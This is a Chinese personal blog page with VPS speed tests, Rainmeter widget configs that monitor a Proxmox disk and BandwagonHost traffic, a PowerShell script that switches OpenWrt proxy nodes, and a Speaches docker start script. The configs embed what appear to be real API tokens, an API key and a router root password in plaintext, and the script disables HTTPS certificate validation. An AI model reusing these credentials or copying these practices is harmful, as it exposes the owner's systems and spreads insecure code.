颜色: 0-2ms 正常 2-10ms 一般 >10ms 异常,或不可达

单线程测速

北京
地区 回程重传 回程速度 去程速度 回程延迟 去程延迟
北京电信 2 128.9Mbps 50.9Mbps 166ms 159ms
北京联通 2760 46.6Mbps 91.3Mbps 395ms 167ms
北京移动 0 127.9Mbps 16.8Mbps 169ms 162ms

上海
地区 回程重传 回程速度 去程速度 回程延迟 去程延迟
上海电信 473 68.4Mbps 106.4Mbps 151ms 148ms
上海联通 3378 58.7Mbps 109.4Mbps 147ms 146ms
上海移动 202 138.2Mbps 24.7Mbps 168ms 151ms

广东
地区 回程重传 回程速度 去程速度 回程延迟 去程延迟
广东电信 120 59.0Mbps 29.9Mbps 194ms 173ms
广东联通 0 120.6Mbps 26.2Mbps 177ms 176ms
广东移动 0 123.8Mbps 89.5Mbps 170ms 172ms

AppleCDN
名称 下载重传 下载速度 上传速度 下载延迟 上传延迟
Apple IPv4 128 3126.0Mbps 1297.8Mbps 39ms 37ms
Apple IPv6 31 2070.3Mbps 1238.4Mbps 27ms 22ms

注:代理速度由回程速度+下载速度的短板决定。

GN2 GIA VPS

Rainmeter 自定义组件

Rainmeter

安装 Rainmeter 通过 vscode 打开 skins 所在的文件夹路径

创建新的 skins 文件夹作为根路径,创建二级文件夹作为组件,内部创建一个 .ini 文件 ,编码格式选为UTF-16LE

选择 refreash 重新加载组件, 通过 About Rainmeter 可以看见日志信息。

显示PVE服务器的磁盘信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
[Rainmeter]
; This section contains general settings that can be used to change how Rainmeter behaves.
; 这是组件的全局刷新频率,单位是毫秒 (ms)。
Update=1000
; 这是为整个小组件设置一张底层背景图片。
; 需要特别注意的是前面的 #@#:这是 Rainmeter 的一个内置魔法变量。它代表了当前组件的资源目录(通常路径是 你的组件文件夹\@Resources)。所以这行代码的意思是:去 @Resources 文件夹里读取一张叫 Background.png 的图片作为整体背景。
Background=#@#Background.png
; 这决定了背景图片的拉伸和缩放模式。
; 在 Rainmeter 中,3 代表开启“九宫格缩放”(Scale with Margins)模式。这意味着当你的组件内容变多、尺寸变大时,背景图片不会像普通的图片那样直接被拉伸到变形,而是配合下面的 BackgroundMargins 来智能缩放。
BackgroundMode=3
; 这个设置是专门配合 BackgroundMode=3 使用的,它定义了背景图片的“保护边缘”(也就是九宫格缩放的边界)。
; 这四个数字分别代表:左, 上, 右, 下 的像素距离。
; 0,34,0,14 的意思是:背景图片的顶部 34 个像素、底部 14 个像素在任何情况下都不参与拉伸变形,只有中间的部分会被拉长去填满空间。这通常用来保证圆角背景框的四角和边框边缘永远保持清晰,不会因为内容变长而变得模糊或被拉长。
BackgroundMargins=0,34,0,14

; ==================================
; 1. 全局变量配置区
; ==================================
[Variables]
; Variables declared here can be used later on between two # characters (e.g. #MyVariable#).
fontName=Trebuchet MS
textSize=8
colorBar=235,170,0,255
colorText=255,255,255,205
; 你的 PVE IP 地址
PveIP=pve.iftrue.club
; 节点名称
Node=pve
; 你要监控的物理磁盘名称(如 sda, nvme0n1)
Disk=/dev/sdc
; 在这里填入你的完整 API Token 凭证
Token=root@pam!pveAPIToken=4d7c041b-3a49-46c2-b3df-46d7e011cdd5

; 字体与背景颜色设置
FontName=Microsoft YaHei
BgColor=20,20,20,220

; ==================================
; 2. 数据源提取 (Measures)
; ==================================
; ==================================
; 2. 数据源提取 (Measures)
; ==================================
[MeasureSmartAPI]
Measure=WebParser
URL="https://#PveIP#/api2/json/nodes/#Node#/disks/smart?disk=#Disk#"
Header="Authorization: PVEAPIToken=#Token#"
; 使用正向预查并且修复了空白符匹配 (\s*),防止吞掉温度数字。
; 强制按这个顺序抓取数据:1.温度 2.坏道 3.健康状态
RegExp="(?si)(?=.*?Current Drive Temperature:\s*(\d+))(?=.*?Elements in grown defect list:\s*(\d+))(?=.*?\"health\"\s*:\s*\"(.*?)\")"
UpdateRate=60

[MeasureTemp]
Measure=WebParser
URL=[MeasureSmartAPI]
; 对应正则第 1 个括号:温度
StringIndex=1

[MeasureDefects]
Measure=WebParser
URL=[MeasureSmartAPI]
; 对应正则第 2 个括号:坏道
StringIndex=2

[MeasureHealth]
Measure=WebParser
URL=[MeasureSmartAPI]
; 对应正则第 3 个括号:健康状态
StringIndex=3

; ; ==================================
; ; 3. 动态颜色告警逻辑 (Calc)
; ; ==================================
[MeasureDefectColor]
Measure=Calc
; 去掉方括号,避免初始加载时因空值报错
Formula=MeasureDefects
; 如果坏道数大于 0,数字变红;等于 0,保持绿色
IfAboveValue=0
IfAboveAction=[!SetOption MeterDefectValue FontColor "255,70,70,255"]
IfEqualValue=0
IfEqualAction=[!SetOption MeterDefectValue FontColor "100,255,100,255"]
DynamicVariables=1

; 温度动态颜色 (超过 50 度变黄,超过 60 度变红)
[MeasureTempColor]
Measure=Calc
; 去掉方括号,直接引用 Measure 名称
Formula=MeasureTemp
IfAboveValue=60
IfAboveAction=[!SetOption MeterTempValue FontColor "255,70,70,255"]
; 去掉方括号,避免空值报错
IfCondition=(MeasureTemp > 50) && (MeasureTemp <= 60)
IfTrueAction=[!SetOption MeterTempValue FontColor "255,200,50,255"]
IfCondition2=MeasureTemp <= 50
IfTrueAction2=[!SetOption MeterTempValue FontColor "255,255,255,255"]
DynamicVariables=1

; ----------------------------------
; STYLES are used to "centralize" options
; ----------------------------------

[styleTitle]
StringAlign=Center
StringCase=Upper
StringStyle=Bold
StringEffect=Shadow
FontEffectColor=0,0,0,50
FontColor=#colorText#
FontFace=#fontName#
FontSize=10
AntiAlias=1
ClipString=1

[styleLeftText]
StringAlign=Left
; Meters using styleLeftText will be left-aligned.
StringCase=None
StringStyle=Bold
StringEffect=Shadow
FontEffectColor=0,0,0,20
FontColor=#colorText#
FontFace=#fontName#
FontSize=#textSize#
AntiAlias=1
ClipString=1

[styleRightText]
StringAlign=Right
StringCase=None
StringStyle=Bold
StringEffect=Shadow
FontEffectColor=0,0,0,20
FontColor=#colorText#
FontFace=#fontName#
FontSize=#textSize#
AntiAlias=1
ClipString=1

[styleBar]
BarColor=#colorBar#
BarOrientation=HORIZONTAL
SolidColor=255,255,255,15

; ==================================
; 4. UI 界面渲染 (Meters)
; ==================================

; 标题栏
[MeterTitle]
Meter=String
MeterStyle=styleTitle
; Using MeterStyle=styleTitle will basically "copy" the
; contents of the [styleTitle] section here during runtime.
X=100
Y=12
W=190
H=18
Text="iSCSI Monitor (#Disk#)"

; --- 健康状态 ---
[MeterHealthLabel]
Meter=String
MeterStyle=styleLeftText
X=10
Y=40
W=190
H=14
Text="Health:"

[MeterHealthValue]
Meter=String
MeterStyle=styleRightText
MeasureName=MeasureHealth
X=200
Y=0r
; r stands for relative. In this case, the Y postition of meterValueCPU is 0 pixels
; below the Y value of the previous meter (i.e it's the same as in meterLabelCPU).
W=190
H=14
Text="%1"
AutoScale=1

; --- 硬盘温度 ---
[MeterTempLabel]
Meter=String
MeterStyle=styleLeftText
X=10
Y=58
W=190
H=14
Text="Temperature:"

[MeterTempValue]
Meter=String
MeasureName=MeasureTemp
MeterStyle=styleRightText
X=200
Y=0r
; r stands for relative. In this case, the Y postition of meterValueCPU is 0 pixels
; below the Y value of the previous meter (i.e it's the same as in meterLabelCPU).
W=190
H=14
Text="%1 °C"
AntiAlias=1

; --- 增长缺陷列表 (坏道) ---
[MeterDefectLabel]
Meter=String
MeterStyle=styleLeftText
X=10
Y=76
W=190
H=14
Text="Grown Defects:"

[MeterDefectValue]
Meter=String
MeasureName=MeasureDefects
MeterStyle=styleRightText
X=200
Y=0r
W=190
H=14
Text="%1"

显示 BWG 的流量统计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
; ======================================================================
; Rainmeter 引擎核心配置区
; ======================================================================
[Rainmeter]
; 组件的全局刷新频率,单位是毫秒 (ms)。1000 代表每 1 秒刷新一次整个皮肤的显示
Update=1000
; 设置皮肤的整体背景图片。#@# 是魔法变量,代表 @Resources 资源文件夹路径
Background=#@#Background.png
; 3 代表开启“九宫格缩放”模式,这样当内容增多时,背景只会拉伸中间部分,四角不会变形
BackgroundMode=3
; 定义九宫格缩放的保护边缘(左, 上, 右, 下)。这几个像素范围内的背景图片不会参与拉伸
BackgroundMargins=0,34,0,14

; ======================================================================
; 1. 全局变量配置区 (定义后可以在下方使用 #变量名# 来引用)
; ======================================================================
[Variables]
; 定义全局默认英文字体 (注意:Rainmeter变量不区分大小写,会被下方的 FontName 覆盖)
fontName=Trebuchet MS
; 定义默认字体大小为 8
textSize=8
; 定义进度条的默认颜色 (R, G, B, 透明度)
colorBar=235,170,0,255
; 定义文字的默认颜色 (白色,透明度 205)
colorText=255,255,255,205
; 覆盖上面的 fontName,设置为微软雅黑字体,支持中文显示
FontName=Microsoft YaHei
; 定义背景的颜色 (R, G, B, 透明度) - 此变量目前在代码中备用,未直接调用
BgColor=20,20,20,220

; ======================================================================
; 2. 数据源提取 (Measures) - 负责从网络 API 拉取原始数据
; ======================================================================
[MeasureMainAPI]
; 声明该 Measure 的类型为 WebParser (网页解析器),专门用来处理网络请求
Measure=WebParser
; API 的请求地址,包含你的节点 veid 和 API Key 凭证
URL="https://api.64clouds.com/v1/getServiceInfo?veid=1859048&api_key=private_sC8OXr5e1AQI4E4qEPYEmlnd"
; 正则表达式:使用 (?si) 忽略大小写和换行,(?=.*?) 正向预查确保无视字段顺序,并提取 3 个括号里的值
RegExp="(?si)(?=.*?\"node_location\"\s*:\s*\"(.*?)\")(?=.*?\"plan_monthly_data\"\s*:\s*(\d+))(?=.*?\"data_counter\"\s*:\s*(\d+))"
; 限制请求频率:UpdateRate=60 意味着每隔 60 次全局刷新(即 60 秒)才请求一次网络,防止被 API 封禁
UpdateRate=60
; 开启调试模式:会在当前皮肤文件夹生成 WebParserDump.txt 供你查看原始抓取数据。确认没问题后可以删掉这行
; Debug=2

; --- 提取节点位置 (对应上面正则里的第 1 个括号) ---
[MeasureNodeLocation]
Measure=WebParser
; 告诉这个子 Measure,数据来源于父组件 [MeasureMainAPI]
URL=[MeasureMainAPI]
; 指定提取正则匹配成功后的第 1 个子字符串
StringIndex=1

; --- 提取总流量计划 Bytes (对应正则里的第 2 个括号) ---
[MeasureMonthlyData]
Measure=WebParser
URL=[MeasureMainAPI]
StringIndex=2

; --- 提取已使用流量 Bytes (对应正则里的第 3 个括号) ---
[MeasureDataCounter]
Measure=WebParser
URL=[MeasureMainAPI]
StringIndex=3


; ======================================================================
; 3. 动态数据计算 (Calc) - 负责将提取到的 Bytes 转换为 GB 并计算百分比
; ======================================================================

; --- 计算已用流量 GB ---
[MeasureDataUsedGB]
; 声明类型为 Calc (计算器)
Measure=Calc
; 运算公式:用截取到的原始 Bytes 数据除以 1024的三次方 (1073741824),转换为 GB
Formula=MeasureDataCounter / 1073741824
; 开启动态变量支持,确保数值随时间实时运算更新
DynamicVariables=1

; --- 计算总流量 GB ---
[MeasureTotalDataGB]
Measure=Calc
; 运算公式:总流量 Bytes 转为 GB
Formula=MeasureMonthlyData / 1073741824
DynamicVariables=1

; --- 专供进度条使用的计算组件 ---
[MeasureDataUsageCalc]
Measure=Calc
; 进度条的当前进度值为:已用 GB
Formula=MeasureDataUsedGB
; 重点:必须告诉进度条“最大值”是多少。这里将最大值设为总流量 GB
MaxValue=[MeasureTotalDataGB]
DynamicVariables=1

; --- 计算使用百分比,并根据百分比改变进度条颜色 ---
[MeasureDataPercentage]
Measure=Calc
; 计算百分比公式:(已用 / 总量) * 100。
; Max(MeasureTotalDataGB, 0.00001) 的作用是防止在刚启动还没连上网络时,总流量为 0 导致发生“除零错误”(Division by 0)
Formula=(MeasureDataUsedGB / Max(MeasureTotalDataGB, 0.00001)) * 100
DynamicVariables=1

; 条件1:如果使用百分比 < 50%
IfCondition=MeasureDataPercentage < 50
; 如果条件1为真,执行动作:利用 !SetOption 命令修改 meterBarDataUsed 进度条组件的 BarColor 属性为绿色
IfTrueAction=[!SetOption meterBarDataUsed BarColor "100,255,100,255"]

; 条件2:如果使用百分比 >= 50% 且 <= 90%
IfCondition2=(MeasureDataPercentage >= 50) && (MeasureDataPercentage <= 90)
; 如果条件2为真,执行动作:修改进度条颜色为橙色 (也是你原本设置的默认颜色)
IfTrueAction2=[!SetOption meterBarDataUsed BarColor "235,170,0,255"]

; 条件3:如果使用百分比 > 90%
IfCondition3=MeasureDataPercentage > 90
; 如果条件3为真,执行动作:修改进度条颜色为红色,起警告作用
IfTrueAction3=[!SetOption meterBarDataUsed BarColor "255,70,70,255"]


; ======================================================================
; 4. 样式预设 (Styles) - 像 CSS 一样将重复的排版属性集中起来供后续继承
; ======================================================================

; --- 顶部标题样式 ---
[styleTitle]
; 文本对齐方式:居中
StringAlign=Center
; 文本自动转换:全部大写
StringCase=Upper
; 文本样式:加粗
StringStyle=Bold
; 字体特效:添加阴影
StringEffect=Shadow
; 特效颜色:黑色阴影,透明度 50
FontEffectColor=0,0,0,50
; 字体颜色:调用上方定义的 #colorText# 变量
FontColor=#colorText#
; 字体名称:调用上方定义的 #fontName# 变量
FontFace=#fontName#
; 字体大小:10磅
FontSize=10
; 开启抗锯齿,使文字边缘平滑不模糊
AntiAlias=1
; 开启文本裁剪,超出设定宽度的文本会自动隐藏或变为省略号
ClipString=1

; --- 左侧标签文字样式 ---
[styleLeftText]
; 文本对齐:左对齐
StringAlign=Left
; 保持原本大小写
StringCase=None
StringStyle=Bold
StringEffect=Shadow
FontEffectColor=0,0,0,20
FontColor=#colorText#
FontFace=#fontName#
; 字体大小调用上方定义的 #textSize# 变量
FontSize=#textSize#
AntiAlias=1
ClipString=1

; --- 右侧数值文字样式 ---
[styleRightText]
; 文本对齐:右对齐 (由于是右对齐,坐标 X 需要填右边界的位置)
StringAlign=Right
StringCase=None
StringStyle=Bold
StringEffect=Shadow
FontEffectColor=0,0,0,20
FontColor=#colorText#
FontFace=#fontName#
FontSize=#textSize#
AntiAlias=1
ClipString=1

; --- 进度条样式 ---
[styleBar]
; 进度条的前景色:调用 #colorBar#
BarColor=#colorBar#
; 进度条方向:水平 (HORIZONTAL)
BarOrientation=HORIZONTAL
; 进度条未填充部分的底色:半透明的白色
SolidColor=255,255,255,15


; ======================================================================
; 5. UI 界面渲染 (Meters) - 实际在屏幕上画出图形和文字
; ======================================================================

; --- 绘制顶部标题 ---
[MeterTitle]
; 组件类型为纯文本 (String)
Meter=String
; 继承并应用上方写好的 [styleTitle] 样式模板
MeterStyle=styleTitle
; 绑定数据源为节点位置。提取出的位置会替换掉 Text 里的 %1
MeasureName=MeasureNodeLocation
; X轴坐标设在 100,配合居中对齐,代表以 100 为中心轴向左右扩散
X=100
; Y轴坐标距离背景顶部 12 像素
Y=12
; 定义组件总宽度 190
W=190
; 定义组件总高度 18
H=18
; 实际渲染的文本内容,%1 会被映射为 MeasureNodeLocation 获取到的字符串
Text="BWG %1"

; --- 绘制左侧静态标签:"Data Usage:" ---
[MeterDataLabel]
Meter=String
MeterStyle=styleLeftText
; X轴从左侧边缘 10 像素处开始
X=10
; Y轴定在 40,位于标题下方
Y=40
W=190
H=14
; 纯静态文本展示,无需绑定 Measure
Text="Data Usage:"

; --- 绘制右侧动态数值:"XXX GB / XXX GB" ---
[meterDataUsed]
Meter=String
MeterStyle=styleRightText
; 绑定第一个变量:已用 GB,用于替换 %1
MeasureName=MeasureDataUsedGB
; 绑定第二个变量:总共 GB,用于替换 %2
MeasureName2=MeasureTotalDataGB
; X轴设在 200,因为它是右对齐的,200是它的最右侧边界限制
X=200
; Y=0r 中的 'r' 代表相对定位 (relative)。0r 意味着它的 Y 坐标与前一个组件(MeterDataLabel)保持同一水平线
Y=0r
W=190
H=14
; 显示格式模板:%1 和 %2 会被上述两个 Measure 替换
Text="%1 GB / %2 GB"
; 强制让小数显示时保留 2 位(如 45.20 GB)
NumOfDecimals=2

; --- 绘制底部流量进度条 ---
[meterBarDataUsed]
; 组件类型为进度条 (Bar)
Meter=Bar
MeterStyle=styleBar
; 绑定上面写好带有 MaxValue 属性的进度比例 Calc 组件
MeasureName=MeasureDataUsageCalc
; 进度条起点 X 为 10
X=10
; 进度条纵向起点在 55 像素,正好位于上述文字的下方
Y=55
; 进度条总长度 190
W=190
; 进度条高度(线条粗细)为 1 像素
H=1

使用 openwrt api 动态切换代理

创建 proxy_control.ps1 放到 Rainmeter 组件 @Resources 文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
param (
[string]$Action = "Status",
[string]$TargetNode = ""
)

$RouterUrl = "https://home.iftrue.club/cgi-bin/luci/rpc"
$User = "root"
$Pass = "w.521@@ong.COM"

# 忽略 HTTPS 自签证书错误
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

try {
# 1. 登录获取 Token
$AuthBody = @{ jsonrpc = "2.0"; id = 1; method = "login"; params = @($User, $Pass) } | ConvertTo-Json -Depth 10
$AuthResponse = Invoke-RestMethod -Uri "$RouterUrl/auth" -Method Post -Body $AuthBody -ContentType "application/json"
$Token = $AuthResponse.result

if ([string]::IsNullOrEmpty($Token)) {
Write-Output "AuthFailed"
exit
}

# 2. 查询状态
if ($Action -eq "Status") {
$GetBody = @{ jsonrpc = "2.0"; id = 2; method = "get"; params = @("homeproxy", "MSI", "outbound") } | ConvertTo-Json -Depth 10
$GetResponse = Invoke-RestMethod -Uri "$RouterUrl/uci?auth=$Token" -Method Post -Body $GetBody -ContentType "application/json"

# 必须使用 Write-Output 才能被 Rainmeter 正确捕捉
Write-Output $GetResponse.result
exit
}

# 3. 指定设置节点
if ($Action -eq "Set" -and $TargetNode -ne "") {
# uci set
$SetBody = @{ jsonrpc = "2.0"; id = 3; method = "set"; params = @("homeproxy", "MSI", "outbound", $TargetNode) } | ConvertTo-Json -Depth 10
Invoke-RestMethod -Uri "$RouterUrl/uci?auth=$Token" -Method Post -Body $SetBody -ContentType "application/json"

# uci commit
$CommitBody = @{ jsonrpc = "2.0"; id = 4; method = "commit"; params = @("homeproxy") } | ConvertTo-Json -Depth 10
Invoke-RestMethod -Uri "$RouterUrl/uci?auth=$Token" -Method Post -Body $CommitBody -ContentType "application/json"

# 必须使用 Write-Output 才能被 Rainmeter 正确捕捉
Write-Output $TargetNode
exit
}
} catch {
Write-Output "Error"
}

创建 Rainmeter 组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
[Rainmeter]
Update=1000
Background=#@#Background.png
BackgroundMode=3
BackgroundMargins=0,34,0,14
OnRefreshAction=[!CommandMeasure MeasureCheckStatus "Run"]

[Metadata]
Name=HomeProxy Switcher Grid
Author=YourName
Information=Bootstrap 风格多按钮代理切换面板

[Variables]
; Bootstrap 现代无衬线字体 (Windows 自带)
fontName=Segoe UI
SetNode=""

; --- Bootstrap 颜色方案 ---
; 默认状态 (柔和的深灰色, 类似 btn-dark)
BgNormal=44,48,52,255
TextNormal=170,175,180,255

; 高亮状态 (柔和的黯蓝色, 类似 btn-primary 降低饱和度,不刺眼)
BgActive=50,110,160,255
TextActive=245,250,255,255

; 加载/点击瞬间状态 (稍亮的深灰色)
BgLoading=65,70,75,255

; ==================================
; 核心逻辑: 状态轮询与匹配
; ==================================
[MeasureTimer]
Measure=Calc
Formula=(MeasureTimer + 1) % 10
IfCondition=MeasureTimer = 0
IfTrueAction=[!CommandMeasure MeasureCheckStatus "Run"]

[MeasureCheckStatus]
Measure=Plugin
Plugin=RunCommand
Parameter=powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "#@#proxy_control.ps1" -Action Status
State=Hide
OutputType=ANSI
FinishAction=[!UpdateMeasure MeasureCheckStatus][!Redraw]

; --- 高亮逻辑 (先用正则匹配,将所有形状重置,再点亮特定的形状和文字) ---
; 注意:这里我们通过改变 Shape 字符串中的 Fill Color 来改变圆角矩形的颜色
IfMatch=BWG
IfMatchAction=[!SetOptionGroup ProxyBtns_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgNormal# | StrokeWidth 0"][!SetOptionGroup ProxyBtns_Text FontColor "#TextNormal#"][!SetOption MeterBtnBWG_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgActive# | StrokeWidth 0"][!SetOption MeterBtnBWG_Text FontColor "#TextActive#"][!UpdateMeterGroup ProxyBtns_Shape][!UpdateMeterGroup ProxyBtns_Text][!Redraw]

IfMatch2=SG
IfMatchAction2=[!SetOptionGroup ProxyBtns_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgNormal# | StrokeWidth 0"][!SetOptionGroup ProxyBtns_Text FontColor "#TextNormal#"][!SetOption MeterBtnSG_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgActive# | StrokeWidth 0"][!SetOption MeterBtnSG_Text FontColor "#TextActive#"][!UpdateMeterGroup ProxyBtns_Shape][!UpdateMeterGroup ProxyBtns_Text][!Redraw]

IfMatch3=HK
IfMatchAction3=[!SetOptionGroup ProxyBtns_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgNormal# | StrokeWidth 0"][!SetOptionGroup ProxyBtns_Text FontColor "#TextNormal#"][!SetOption MeterBtnHK_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgActive# | StrokeWidth 0"][!SetOption MeterBtnHK_Text FontColor "#TextActive#"][!UpdateMeterGroup ProxyBtns_Shape][!UpdateMeterGroup ProxyBtns_Text][!Redraw]

IfMatch4=JP
IfMatchAction4=[!SetOptionGroup ProxyBtns_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgNormal# | StrokeWidth 0"][!SetOptionGroup ProxyBtns_Text FontColor "#TextNormal#"][!SetOption MeterBtnJP_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgActive# | StrokeWidth 0"][!SetOption MeterBtnJP_Text FontColor "#TextActive#"][!UpdateMeterGroup ProxyBtns_Shape][!UpdateMeterGroup ProxyBtns_Text][!Redraw]

; ==================================
; 核心逻辑: 提交修改节点请求
; ==================================
[MeasureSetProxy]
Measure=Plugin
Plugin=RunCommand
Parameter=powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "#@#proxy_control.ps1" -Action Set -TargetNode "#SetNode#"
State=Hide
OutputType=ANSI
DynamicVariables=1
FinishAction=[!CommandMeasure MeasureCheckStatus "Run"]

; ==================================
; 样式表 (Bootstrap 风格)
; ==================================
[styleTitle]
StringAlign=Center
StringCase=Upper
StringStyle=Bold
FontColor=180,180,180,255
FontFace=#fontName#
FontSize=9
CharacterSpacing=1
AntiAlias=1

; 圆角背景形状的基础样式 (宽80, 高28, 圆角弧度5)
[styleBtnShape]
Shape=Rectangle 0,0,80,28,5 | Fill Color #BgNormal# | StrokeWidth 0
Group=ProxyBtns_Shape

; 文字样式 (附带透明点击层)
[styleBtnText]
W=80
H=28
StringAlign=CenterCenter
FontFace=#fontName#
FontSize=9
FontWeight=600
FontColor=#TextNormal#
SolidColor=0,0,0,1
AntiAlias=1
Group=ProxyBtns_Text


; ==================================
; UI 界面渲染
; ==================================
[MeterTitle]
Meter=String
MeterStyle=styleTitle
X=100
Y=12
W=190
H=18
Text="Proxy Nodes"

; ----------------------------------
; 第一排按钮 (Y=40, 左间距15, 中间间距10)
; ----------------------------------
; 按钮 BWG -------------------------
[MeterBtnBWG_Shape]
Meter=Shape
MeterStyle=styleBtnShape
X=15
Y=40

[MeterBtnBWG_Text]
Meter=String
MeterStyle=styleBtnText
; X=40r 代表相对上面的 Shape 向右偏移40(居中),Y=14r 代表向下偏移14(居中)
X=40r
Y=14r
Text="BWG"
LeftMouseUpAction=[!SetVariable SetNode "BWG"][!SetOption MeterBtnBWG_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgLoading# | StrokeWidth 0"][!UpdateMeter MeterBtnBWG_Shape][!Redraw][!UpdateMeasure MeasureSetProxy][!CommandMeasure MeasureSetProxy "Run"]

; 按钮 SG --------------------------
[MeterBtnSG_Shape]
Meter=Shape
MeterStyle=styleBtnShape
X=105
Y=40

[MeterBtnSG_Text]
Meter=String
MeterStyle=styleBtnText
X=40r
Y=14r
Text="SG"
LeftMouseUpAction=[!SetVariable SetNode "SG"][!SetOption MeterBtnSG_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgLoading# | StrokeWidth 0"][!UpdateMeter MeterBtnSG_Shape][!Redraw][!UpdateMeasure MeasureSetProxy][!CommandMeasure MeasureSetProxy "Run"]


; ; ----------------------------------
; ; 第二排按钮 (Y=78, 与第一排上下间距10)
; ; ----------------------------------
; ; 按钮 HK --------------------------
; [MeterBtnHK_Shape]
; Meter=Shape
; MeterStyle=styleBtnShape
; X=15
; Y=78

; [MeterBtnHK_Text]
; Meter=String
; MeterStyle=styleBtnText
; X=40r
; Y=14r
; Text="HK"
; LeftMouseUpAction=[!SetVariable SetNode "HK"][!SetOption MeterBtnHK_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgLoading# | StrokeWidth 0"][!UpdateMeter MeterBtnHK_Shape][!Redraw][!UpdateMeasure MeasureSetProxy][!CommandMeasure MeasureSetProxy "Run"]

; ; 按钮 JP --------------------------
; [MeterBtnJP_Shape]
; Meter=Shape
; MeterStyle=styleBtnShape
; X=105
; Y=78

; [MeterBtnJP_Text]
; Meter=String
; MeterStyle=styleBtnText
; X=40r
; Y=14r
; Text="JP"
; LeftMouseUpAction=[!SetVariable SetNode "JP"][!SetOption MeterBtnJP_Shape Shape "Rectangle 0,0,80,28,5 | Fill Color #BgLoading# | StrokeWidth 0"][!UpdateMeter MeterBtnJP_Shape][!Redraw][!UpdateMeasure MeasureSetProxy][!CommandMeasure MeasureSetProxy "Run"]

Speaches 部署

docker compose 安装

1
git clone https://github.com/speaches-ai/speaches.git

修改 compose.yaml 端口不要和内网其他端口重复

创建一个启动脚本方便执行 start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash

# ================= 1. 检查管理员权限 =================
if [ "$EUID" -ne 0 ]; then
echo "❌ 错误: 请使用管理员权限运行此脚本!"
echo "👉 正确执行方式: sudo bash $0"
exit 1
fi

# ================= 2. 锁定当前脚本所在的目录 =================
# 确保无论你在哪里调用这个脚本,都能正确找到旁边的 compose.cuda.yaml
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR" || exit 1

# ================= 3. 检查文件是否存在 =================
if [ ! -f "compose.cuda.yaml" ]; then
echo "❌ 错误: 当前目录下未找到 compose.cuda.yaml 文件!"
echo "路径: $SCRIPT_DIR/compose.cuda.yaml"
exit 1
fi

# ================= 4. 启动 GPU 服务 =================
echo "🚀 正在以 CUDA/GPU 模式启动 Speaches 服务..."

export COMPOSE_FILE=compose.cuda.yaml
docker compose up --detach

# 检查 Docker 命令运行结果
if [ $? -eq 0 ]; then
echo "✅ Speaches 服务已成功在后台启动!"
else
echo "❌ 启动失败,请检查 Docker 服务状态或日志。"
fi

通过 sudo start.sh 启动 docker 服务

初次使用通过 API 下载模型

1
2
3
4
5
6

# Systran/faster-whisper-small
# Systran/faster-whisper-medium
# Systran/faster-whisper-large-v3

http://192.168.48.177:15465/v1/models/Systran/faster-whisper-medium

FAQ

